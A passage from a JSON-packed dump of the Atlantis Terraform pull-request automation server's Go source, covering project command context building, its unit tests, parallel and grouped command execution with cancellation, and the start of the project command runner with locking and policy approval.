for a\n\t// terraform.require_version block.\n\tif prjCfg.TerraformVersion == nil {\n\t\tprjCfg.TerraformVersion = terraformClient.DetectVersion(ctx.Log, filepath.Join(repoDir, prjCfg.RepoRelDir))\n\t}\n\n\tprojectCmds = cb.ProjectCommandContextBuilder.BuildProjectContext(\n\t\tctx,\n\t\tcmdName,\n\t\tsubCmdName,\n\t\tprjCfg,\n\t\tcommentFlags,\n\t\trepoDir,\n\t\tautomerge,\n\t\tparallelApply,\n\t\tparallelPlan,\n\t\tverbose,\n\t\tabortOnExecutionOrderFail,\n\t\tterraformClient,\n\t)\n\n\tif cmdName == command.Plan && prjCfg.PolicyCheck {\n\t\tctx.Log.Debug(\"Building project command context for %s\", command.PolicyCheck)\n\t\tsteps := prjCfg.Workflow.PolicyCheck.Steps\n\n\t\tprojectCmds = append(projectCmds, newProjectCommandContext(\n\t\t\tctx,\n\t\t\tcommand.PolicyCheck,\n\t\t\t\"\",\n\t\t\tcb.CommentBuilder.BuildApplyComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, prjCfg.AutoMergeDisabled, prjCfg.AutoMergeMethod),\n\t\t\tcb.CommentBuilder.BuildApprovePoliciesComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name),\n\t\t\tcb.CommentBuilder.BuildPlanComment(prjCfg.RepoRelDir, prjCfg.Workspace, prjCfg.Name, commentFlags),\n\t\t\tprjCfg,\n\t\t\tsteps,\n\t\t\tprjCfg.PolicySets,\n\t\t\tescapeArgs(commentFlags),\n\t\t\tautomerge,\n\t\t\tparallelApply,\n\t\t\tparallelPlan,\n\t\t\tverbose,\n\t\t\tabortOnExecutionOrderFail,\n\t\t\tctx.Scope,\n\t\t\tctx.PullRequestStatus,\n\t\t\tctx.PullStatus,\n\t\t\tctx.TeamAllowlistChecker,\n\t\t))\n\t}\n\n\treturn\n}\n\n// newProjectCommandContext is a initializer method that handles constructing the\n// ProjectCommandContext.\nfunc newProjectCommandContext(ctx *command.Context,\n\tcmd command.Name,\n\tsubCommand string,\n\tapplyCmd string,\n\tapprovePoliciesCmd string,\n\tplanCmd string,\n\tprojCfg valid.MergedProjectCfg,\n\tsteps []valid.Step,\n\tpolicySets valid.PolicySets,\n\tescapedCommentArgs []string,\n\tautomergeEnabled bool,\n\tparallelApplyEnabled bool,\n\tparallelPlanEnabled bool,\n\tverbose bool,\n\tabortOnExecutionOrderFail bool,\n\tscope tally.Scope,\n\tpullReqStatus models.PullReqStatus,\n\tpullStatus *models.PullStatus,\n\tteamAllowlistChecker command.TeamAllowlistChecker,\n) command.ProjectContext {\n\n\tvar projectPlanStatus models.ProjectPlanStatus\n\tvar projectPolicyStatus []models.PolicySetStatus\n\n\tif ctx.PullStatus != nil {\n\t\tfor _, project := range ctx.PullStatus.Projects {\n\n\t\t\t// if name is not used, let's match the directory\n\t\t\tif projCfg.Name == \"\" && project.RepoRelDir == projCfg.RepoRelDir {\n\t\t\t\tprojectPlanStatus = project.Status\n\t\t\t\tprojectPolicyStatus = project.PolicyStatus\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif projCfg.Name != \"\" && project.ProjectName == projCfg.Name {\n\t\t\t\tprojectPlanStatus = project.Status\n\t\t\t\tprojectPolicyStatus = project.PolicyStatus\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn command.ProjectContext{\n\t\tCommandName:                cmd,\n\t\tSubCommand:                 subCommand,\n\t\tApplyCmd:                   applyCmd,\n\t\tApprovePoliciesCmd:         approvePoliciesCmd,\n\t\tBaseRepo:                   ctx.Pull.BaseRepo,\n\t\tEscapedCommentArgs:         escapedCommentArgs,\n\t\tAutomergeEnabled:           automergeEnabled,\n\t\tDeleteSourceBranchOnMerge:  projCfg.DeleteSourceBranchOnMerge,\n\t\tRepoLocksMode:              projCfg.RepoLocks.Mode,\n\t\tCustomPolicyCheck:          projCfg.CustomPolicyCheck,\n\t\tParallelApplyEnabled:       parallelApplyEnabled,\n\t\tParallelPlanEnabled:        parallelPlanEnabled,\n\t\tParallelPolicyCheckEnabled: parallelPlanEnabled,\n\t\tDependsOn:                  projCfg.DependsOn,\n\t\tAutoplanEnabled:            projCfg.AutoplanEnabled,\n\t\tSteps:                      steps,\n\t\tHeadRepo:                   ctx.HeadRepo,\n\t\tLog:                        ctx.Log,\n\t\tScope:                      scope,\n\t\tProjectPlanStatus:          projectPlanStatus,\n\t\tProjectPolicyStatus:        projectPolicyStatus,\n\t\tPull:                       ctx.Pull,\n\t\tProjectName:                projCfg.Name,\n\t\tPlanRequirements:           projCfg.PlanRequirements,\n\t\tApplyRequirements:          projCfg.ApplyRequirements,\n\t\tImportRequirements:         projCfg.ImportRequirements,\n\t\tRePlanCmd:                  planCmd,\n\t\tRepoRelDir:                 projCfg.RepoRelDir,\n\t\tRepoConfigVersion:          projCfg.RepoCfgVersion,\n\t\tTerraformDistribution:      projCfg.TerraformDistribution,\n\t\tTerraformVersion:           projCfg.TerraformVersion,\n\t\tUser:                       ctx.User,\n\t\tVerbose:                    verbose,\n\t\tWorkspace:                  projCfg.Workspace,\n\t\tPolicySets:                 policySets,\n\t\tPolicySetTarget:            ctx.PolicySet,\n\t\tClearPolicyApproval:        ctx.ClearPolicyApproval,\n\t\tPullReqStatus:              pullReqStatus,\n\t\tPullStatus:                 pullStatus,\n\t\tJobID:                      uuid.New().String(),\n\t\tExecutionOrderGroup:        projCfg.ExecutionOrderGroup,\n\t\tAbortOnExecutionOrderFail:  abortOnExecutionOrderFail,\n\t\tSilencePRComments:          projCfg.SilencePRComments,\n\t\tTeamAllowlistChecker:       teamAllowlistChecker,\n\t}\n}\n\nfunc escapeArgs(args []string) []string {\n\tvar escaped []string\n\tfor _, arg := range args {\n\t\tvar escapedArg strings.Builder\n\t\tfor i := range arg {\n\t\t\tescapedArg.WriteString(\"\\\\\" + string(arg[i]))\n\t\t}\n\t\tescaped = append(escaped, escapedArg.String())\n\t}\n\treturn escaped\n}\n"
  },
  {
    "path": "server/events/project_command_context_builder_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestProjectCommandContextBuilder_PullStatus(t *testing.T) {\n\n\tmockCommentBuilder := mocks.NewMockCommentBuilder()\n\tsubject := events.DefaultProjectCommandContextBuilder{\n\t\tCommentBuilder: mockCommentBuilder,\n\t}\n\n\tprojRepoRelDir := \"dir1\"\n\tprojWorkspace := \"default\"\n\tprojName := \"project1\"\n\n\tprojCfg := valid.MergedProjectCfg{\n\t\tRepoRelDir: projRepoRelDir,\n\t\tWorkspace:  projWorkspace,\n\t\tName:       projName,\n\t\tWorkflow: valid.Workflow{\n\t\t\tName:  valid.DefaultWorkflowName,\n\t\t\tApply: valid.DefaultApplyStage,\n\t\t},\n\t}\n\n\tpullStatus := &models.PullStatus{\n\t\tProjects: []models.ProjectStatus{},\n\t}\n\n\tcommandCtx := &command.Context{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tPullStatus: pullStatus,\n\t}\n\n\texpectedApplyCmt := \"Apply Comment\"\n\texpectedPlanCmt := \"Plan Comment\"\n\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tt.Run(\"with project name defined\", func(t *testing.T) {\n\t\tWhen(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, projName, []string{})).ThenReturn(expectedPlanCmt)\n\t\tWhen(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, projName, false, \"\")).ThenReturn(expectedApplyCmt)\n\n\t\tpullStatus.Projects = []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tStatus:      models.ErroredPolicyCheckStatus,\n\t\t\t\tProjectName: \"project1\",\n\t\t\t\tRepoRelDir:  \"dir1\",\n\t\t\t},\n\t\t}\n\n\t\tresult := subject.BuildProjectContext(commandCtx, command.Plan, \"\", projCfg, []string{}, \"some/dir\", false, false, false, false, false, terraformClient)\n\t\tassert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus)\n\t})\n\n\tt.Run(\"with no project name defined\", func(t *testing.T) {\n\t\tprojCfg.Name = \"\"\n\t\tWhen(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, \"\", []string{})).ThenReturn(expectedPlanCmt)\n\t\tWhen(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, \"\", false, \"\")).ThenReturn(expectedApplyCmt)\n\t\tpullStatus.Projects = []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPlanStatus,\n\t\t\t\tRepoRelDir: \"dir2\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPolicyCheckStatus,\n\t\t\t\tRepoRelDir: \"dir1\",\n\t\t\t},\n\t\t}\n\n\t\tresult := subject.BuildProjectContext(commandCtx, command.Plan, \"\", projCfg, []string{}, \"some/dir\", false, false, false, false, false, terraformClient)\n\n\t\tassert.Equal(t, models.ErroredPolicyCheckStatus, result[0].ProjectPlanStatus)\n\t})\n\n\tt.Run(\"when ParallelApply is set to true\", func(t *testing.T) {\n\t\tprojCfg.Name = \"Apply Comment\"\n\t\tWhen(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, \"\", []string{})).ThenReturn(expectedPlanCmt)\n\t\tWhen(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, \"\", false, \"\")).ThenReturn(expectedApplyCmt)\n\t\tpullStatus.Projects = []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPlanStatus,\n\t\t\t\tRepoRelDir: \"dir2\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPolicyCheckStatus,\n\t\t\t\tRepoRelDir: \"dir1\",\n\t\t\t},\n\t\t}\n\n\t\tresult := subject.BuildProjectContext(commandCtx, command.Plan, \"\", projCfg, []string{}, \"some/dir\", false, true, false, false, false, terraformClient)\n\n\t\tassert.True(t, result[0].ParallelApplyEnabled)\n\t\tassert.False(t, result[0].ParallelPlanEnabled)\n\t})\n\n\tt.Run(\"when AbortOnExecutionOrderFail is set to true\", func(t *testing.T) {\n\t\tprojCfg.Name = \"Apply Comment\"\n\t\tWhen(mockCommentBuilder.BuildPlanComment(projRepoRelDir, projWorkspace, \"\", []string{})).ThenReturn(expectedPlanCmt)\n\t\tWhen(mockCommentBuilder.BuildApplyComment(projRepoRelDir, projWorkspace, \"\", false, \"\")).ThenReturn(expectedApplyCmt)\n\t\tpullStatus.Projects = []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPlanStatus,\n\t\t\t\tRepoRelDir: \"dir2\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus:     models.ErroredPolicyCheckStatus,\n\t\t\t\tRepoRelDir: \"dir1\",\n\t\t\t},\n\t\t}\n\n\t\tresult := subject.BuildProjectContext(commandCtx, command.Plan, \"\", projCfg, []string{}, \"some/dir\", false, false, false, false, true, terraformClient)\n\n\t\tassert.True(t, result[0].AbortOnExecutionOrderFail)\n\t})\n}\n"
  },
  {
    "path": "server/events/project_command_pool_executor.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"sync\"\n\n\t\"github.com/remeh/sizedwaitgroup\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\ntype prjCmdRunnerFunc func(ctx command.ProjectContext) command.ProjectCommandOutput\n\nfunc RunOneProjectCmd(\n\trunnerFunc prjCmdRunnerFunc,\n\tcmd command.ProjectContext,\n) command.ProjectResult {\n\tprojectCommandOutput := runnerFunc(cmd)\n\n\treturn command.ProjectResult{\n\t\tProjectCommandOutput: projectCommandOutput,\n\t\tCommand:              cmd.CommandName,\n\t\tSubCommand:           cmd.SubCommand,\n\t\tRepoRelDir:           cmd.RepoRelDir,\n\t\tWorkspace:            cmd.Workspace,\n\t\tProjectName:          cmd.ProjectName,\n\t\tSilencePRComments:    cmd.SilencePRComments,\n\t}\n}\n\nfunc runProjectCmdsParallel(\n\tcmds []command.ProjectContext,\n\trunnerFunc prjCmdRunnerFunc,\n\tpoolSize int,\n) command.Result {\n\tvar results []command.ProjectResult\n\tmux := &sync.Mutex{}\n\n\twg := sizedwaitgroup.New(poolSize)\n\tfor _, pCmd := range cmds {\n\t\tvar execute func()\n\t\twg.Add()\n\n\t\texecute = func() {\n\t\t\tdefer wg.Done()\n\t\t\tres := RunOneProjectCmd(runnerFunc, pCmd)\n\t\t\tmux.Lock()\n\t\t\tresults = append(results, res)\n\t\t\tmux.Unlock()\n\t\t}\n\n\t\tgo execute()\n\t}\n\n\twg.Wait()\n\treturn command.Result{ProjectResults: results}\n}\n\nfunc runProjectCmds(\n\tcmds []command.ProjectContext,\n\trunnerFunc prjCmdRunnerFunc,\n) command.Result {\n\tvar results []command.ProjectResult\n\tfor _, pCmd := range cmds {\n\t\tres := RunOneProjectCmd(runnerFunc, pCmd)\n\n\t\tresults = append(results, res)\n\t}\n\treturn command.Result{ProjectResults: results}\n}\n\nfunc splitByExecutionOrderGroup(cmds []command.ProjectContext) [][]command.ProjectContext {\n\tgroups := make(map[int][]command.ProjectContext)\n\tfor _, cmd := range cmds {\n\t\tgroups[cmd.ExecutionOrderGroup] = append(groups[cmd.ExecutionOrderGroup], cmd)\n\t}\n\n\tvar groupKeys []int\n\tfor k := range groups {\n\t\tgroupKeys = append(groupKeys, k)\n\t}\n\tsort.Ints(groupKeys)\n\n\tvar res [][]command.ProjectContext\n\tfor _, group := range groupKeys {\n\t\tres = append(res, groups[group])\n\t}\n\treturn res\n}\n\nfunc runProjectCmdsParallelGroups(\n\tctx *command.Context,\n\tcmds []command.ProjectContext,\n\trunnerFunc prjCmdRunnerFunc,\n\tpoolSize int,\n) command.Result {\n\tvar results []command.ProjectResult\n\tgroups := splitByExecutionOrderGroup(cmds)\n\tfor _, group := range groups {\n\t\tres := runProjectCmdsParallel(group, runnerFunc, poolSize)\n\t\tresults = append(results, res.ProjectResults...)\n\t\tif res.HasErrors() && group[0].AbortOnExecutionOrderFail {\n\t\t\tctx.Log.Info(\"abort on execution order when failed\")\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn command.Result{ProjectResults: results}\n}\n\nfunc runProjectCmdsWithCancellationTracker(\n\tctx *command.Context,\n\tprojectCmds []command.ProjectContext,\n\tcancellationTracker CancellationTracker,\n\tparallelPoolSize int,\n\tisParallel bool,\n\trunnerFunc prjCmdRunnerFunc,\n) command.Result {\n\tif isParallel {\n\t\tctx.Log.Info(\"Running commands in parallel\")\n\t}\n\n\tgroups := prepareExecutionGroups(projectCmds, isParallel)\n\tif cancellationTracker != nil {\n\t\tdefer cancellationTracker.Clear(ctx.Pull)\n\t}\n\n\tvar results []command.ProjectResult\n\tfor i, group := range groups {\n\t\tif i > 0 && cancellationTracker != nil && cancellationTracker.IsCancelled(ctx.Pull) {\n\t\t\tctx.Log.Info(\"Skipping execution order group %d and all subsequent groups due to cancellation\", group[0].ExecutionOrderGroup)\n\t\t\tresults = append(results, createCancelledResults(groups[i:])...)\n\t\t\tbreak\n\t\t}\n\n\t\tgroupResult := runGroup(group, runnerFunc, isParallel, parallelPoolSize)\n\t\tresults = append(results, groupResult.ProjectResults...)\n\n\t\tif groupResult.HasErrors() && group[0].AbortOnExecutionOrderFail && isParallel {\n\t\t\tctx.Log.Info(\"abort on execution order when failed\")\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn command.Result{ProjectResults: results}\n}\n\nfunc prepareExecutionGroups(\n\tprojectCmds []command.ProjectContext,\n\tisParallel bool,\n) [][]command.ProjectContext {\n\tgroups := splitByExecutionOrderGroup(projectCmds)\n\tif len(groups) == 1 && !isParallel {\n\t\treturn createIndividualCommandGroups(projectCmds)\n\t}\n\treturn groups\n}\n\nfunc createIndividualCommandGroups(projectCmds []command.ProjectContext) [][]command.ProjectContext {\n\tgroups := make([][]command.ProjectContext, len(projectCmds))\n\tfor i, cmd := range projectCmds {\n\t\tgroups[i] = []command.ProjectContext{cmd}\n\t}\n\treturn groups\n}\n\nfunc createCancelledResults(remainingGroups [][]command.ProjectContext) []command.ProjectResult {\n\tvar cancelledResults []command.ProjectResult\n\tfor _, group := range remainingGroups {\n\t\tfor _, cmd := range group {\n\t\t\tcancelledResults = append(cancelledResults, command.ProjectResult{\n\t\t\t\tCommand: cmd.CommandName,\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: fmt.Errorf(\"operation cancelled\"),\n\t\t\t\t},\n\t\t\t\tRepoRelDir:  cmd.RepoRelDir,\n\t\t\t\tWorkspace:   cmd.Workspace,\n\t\t\t\tProjectName: cmd.ProjectName,\n\t\t\t})\n\t\t}\n\t}\n\treturn cancelledResults\n}\n\nfunc runGroup(\n\tgroup []command.ProjectContext,\n\trunnerFunc prjCmdRunnerFunc,\n\tisParallel bool,\n\tparallelPoolSize int,\n) command.Result {\n\tif isParallel && len(group) > 1 {\n\t\treturn runProjectCmdsParallel(group, runnerFunc, parallelPoolSize)\n\t}\n\treturn runProjectCmds(group, runnerFunc)\n}\n"
  },
  {
    "path": "server/events/project_command_runner.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst OperationComplete = true\n\n// DirNotExistErr is an error caused by the directory not existing.\ntype DirNotExistErr struct {\n\tRepoRelDir string\n}\n\n// Error implements the error interface.\nfunc (d DirNotExistErr) Error() string {\n\treturn fmt.Sprintf(\"dir %q does not exist\", d.RepoRelDir)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_lock_url_generator.go LockURLGenerator\n\n// LockURLGenerator generates urls to locks.\ntype LockURLGenerator interface {\n\t// GenerateLockURL returns the full URL to the lock at lockID.\n\tGenerateLockURL(lockID string) string\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_step_runner.go StepRunner\n\n// StepRunner runs steps. Steps are individual pieces of execution like\n// `terraform plan`.\ntype StepRunner interface {\n\t// Run runs the step.\n\tRun(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_custom_step_runner.go CustomStepRunner\n\n// CustomStepRunner runs custom run steps.\ntype CustomStepRunner interface {\n\t// Run cmd in path.\n\tRun(\n\t\tctx command.ProjectContext,\n\t\tshell *valid.CommandShell,\n\t\tcmd string,\n\t\tpath string,\n\t\tenvs map[string]string,\n\t\tstreamOutput bool,\n\t\tpostProcessOutput []valid.PostProcessRunOutputOption,\n\t\tpostProcessFilterRegexes []*regexp.Regexp,\n\t) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_env_step_runner.go EnvStepRunner\n\n// EnvStepRunner runs env steps.\ntype EnvStepRunner interface {\n\tRun(\n\t\tctx command.ProjectContext,\n\t\tshell *valid.CommandShell,\n\t\tcmd string,\n\t\tvalue string,\n\t\tpath string,\n\t\tenvs map[string]string,\n\t) (string, error)\n}\n\n// MultiEnvStepRunner runs multienv steps.\ntype MultiEnvStepRunner interface {\n\t// Run cmd in path.\n\tRun(\n\t\tctx command.ProjectContext,\n\t\tshell *valid.CommandShell,\n\t\tcmd string,\n\t\tpath string,\n\t\tenvs map[string]string,\n\t\tpostProcessOutput []valid.PostProcessRunOutputOption,\n\t) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_webhooks_sender.go WebhooksSender\n\n// WebhooksSender sends webhook.\ntype WebhooksSender interface {\n\t// Send sends the webhook.\n\tSend(log logging.SimpleLogging, res webhooks.ApplyResult) error\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_project_command_runner.go ProjectCommandRunner\n\ntype ProjectPlanCommandRunner interface {\n\t// Plan runs terraform plan for the project described by ctx.\n\tPlan(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectApplyCommandRunner interface {\n\t// Apply runs terraform apply for the project described by ctx.\n\tApply(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectPolicyCheckCommandRunner interface {\n\t// PolicyCheck runs OPA defined policies for the project described by ctx.\n\tPolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectApprovePoliciesCommandRunner interface {\n\t// Approves any failing OPA policies.\n\tApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectVersionCommandRunner interface {\n\t// Version runs terraform version for the project described by ctx.\n\tVersion(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectImportCommandRunner interface {\n\t// Import runs terraform import for the project described by ctx.\n\tImport(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\ntype ProjectStateCommandRunner interface {\n\t// StateRm runs terraform state rm for the project described by ctx.\n\tStateRm(ctx command.ProjectContext) command.ProjectCommandOutput\n}\n\n// ProjectCommandRunner runs project commands. A project command is a command\n// for a specific TF project.\ntype ProjectCommandRunner interface {\n\tProjectPlanCommandRunner\n\tProjectApplyCommandRunner\n\tProjectPolicyCheckCommandRunner\n\tProjectApprovePoliciesCommandRunner\n\tProjectVersionCommandRunner\n\tProjectImportCommandRunner\n\tProjectStateCommandRunner\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_job_url_setter.go JobURLSetter\n\ntype JobURLSetter interface {\n\t// SetJobURLWithStatus sets the commit status for the project represented by\n\t// ctx and updates the status with and url to a job.\n\tSetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectCommandOutput) error\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_job_message_sender.go JobMessageSender\n\ntype JobMessageSender interface {\n\tSend(ctx command.ProjectContext, msg string, operationComplete bool)\n}\n\n// ProjectOutputWrapper is a decorator that creates a new PR status check per project.\n// The status contains a url that outputs current progress of the terraform plan/apply command.\ntype ProjectOutputWrapper struct {\n\tProjectCommandRunner\n\tJobMessageSender JobMessageSender\n\tJobURLSetter     JobURLSetter\n}\n\nfunc (p *ProjectOutputWrapper) Plan(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tresult := p.updateProjectPRStatus(command.Plan, ctx, p.ProjectCommandRunner.Plan)\n\tp.JobMessageSender.Send(ctx, \"\", OperationComplete)\n\treturn result\n}\n\nfunc (p *ProjectOutputWrapper) Apply(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tresult := p.updateProjectPRStatus(command.Apply, ctx, p.ProjectCommandRunner.Apply)\n\tp.JobMessageSender.Send(ctx, \"\", OperationComplete)\n\treturn result\n}\n\nfunc (p *ProjectOutputWrapper) updateProjectPRStatus(commandName command.Name, ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectCommandOutput) command.ProjectCommandOutput {\n\t// Create a PR status to track project's plan status. The status will\n\t// include a link to view the progress of atlantis plan command in real\n\t// time\n\tif err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.PendingCommitStatus, nil); err != nil {\n\t\tctx.Log.Err(\"updating project PR status\", err)\n\t}\n\n\t// ensures we are differentiating between project level command and overall command\n\tresult := execute(ctx)\n\n\tif result.Error != nil || result.Failure != \"\" {\n\t\tif err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.FailedCommitStatus, &result); err != nil {\n\t\t\tctx.Log.Err(\"updating project PR status\", err)\n\t\t}\n\n\t\treturn result\n\t}\n\n\tif err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.SuccessCommitStatus, &result); err != nil {\n\t\tctx.Log.Err(\"updating project PR status\", err)\n\t}\n\n\treturn result\n}\n\n// DefaultProjectCommandRunner implements ProjectCommandRunner.\ntype DefaultProjectCommandRunner struct {\n\tVcsClient                 vcs.Client\n\tLocker                    ProjectLocker\n\tLockURLGenerator          LockURLGenerator\n\tLogger                    logging.SimpleLogging\n\tInitStepRunner            StepRunner\n\tPlanStepRunner            StepRunner\n\tShowStepRunner            StepRunner\n\tApplyStepRunner           StepRunner\n\tCancelStepRunner          StepRunner\n\tPolicyCheckStepRunner     StepRunner\n\tVersionStepRunner         StepRunner\n\tImportStepRunner          StepRunner\n\tStateRmStepRunner         StepRunner\n\tRunStepRunner             CustomStepRunner\n\tEnvStepRunner             EnvStepRunner\n\tMultiEnvStepRunner        MultiEnvStepRunner\n\tPullApprovedChecker       runtime.PullApprovedChecker\n\tWorkingDir                WorkingDir\n\tWebhooks                  WebhooksSender\n\tWorkingDirLocker          WorkingDirLocker\n\tCommandRequirementHandler CommandRequirementHandler\n\tCancellationTracker       CancellationTracker\n}\n\n// Plan runs terraform plan for the project described by ctx.\nfunc (p *DefaultProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tplanSuccess, failure, err := p.doPlan(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tPlanSuccess: planSuccess,\n\t\tError:       err,\n\t\tFailure:     failure,\n\t}\n}\n\n// PolicyCheck evaluates policies defined with Rego for the project described by ctx.\nfunc (p *DefaultProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tpolicySuccess, failure, err := p.doPolicyCheck(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tPolicyCheckResults: policySuccess,\n\t\tError:              err,\n\t\tFailure:            failure,\n\t}\n}\n\n// Apply runs terraform apply for the project described by ctx.\nfunc (p *DefaultProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tapplyOut, failure, err := p.doApply(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tFailure:      failure,\n\t\tError:        err,\n\t\tApplySuccess: applyOut,\n\t}\n}\n\nfunc (p *DefaultProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tapprovedOut, failure, err := p.doApprovePolicies(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tFailure:            failure,\n\t\tError:              err,\n\t\tPolicyCheckResults: approvedOut,\n\t}\n}\n\nfunc (p *DefaultProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tversionOut, failure, err := p.doVersion(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tFailure:        failure,\n\t\tError:          err,\n\t\tVersionSuccess: versionOut,\n\t}\n}\n\n// Import runs terraform import for the project described by ctx.\nfunc (p *DefaultProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput {\n\timportSuccess, failure, err := p.doImport(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tImportSuccess: importSuccess,\n\t\tError:         err,\n\t\tFailure:       failure,\n\t}\n}\n\n// StateRm runs terraform state rm for the project described by ctx.\nfunc (p *DefaultProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tstateRmSuccess, failure, err := p.doStateRm(ctx)\n\treturn command.ProjectCommandOutput{\n\t\tStateRmSuccess: stateRmSuccess,\n\t\tError:          err,\n\t\tFailure:        failure,\n\t}\n}\n\nfunc (p *DefaultProjectCommandRunner) doApprovePolicies(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) {\n\t// Acquire Atlantis lock for this repo/dir/workspace.\n\tlockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode)\n\tif err != nil {\n\t\treturn nil, \"\", fmt.Errorf(\"acquiring lock: %w\", err)\n\t}\n\tif !lockAttempt.LockAcquired {\n\t\treturn nil, lockAttempt.LockFailureReason, nil\n\t}\n\tctx.Log.Debug(\"acquired lock for project\")\n\n\t// Acquire internal lock for the directory we're going to operate in.\n\tunlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir, ctx.ProjectName, command.ApprovePolicies)\n\tif err != nil {\n\t\treturn nil, \"\", err\n\t}\n\tdefer unlockFn()\n\n\tteams := []string{}\n\n\tpolicySetCfg := ctx.PolicySets\n\n\t// Only query the users team membership if any teams have been configured 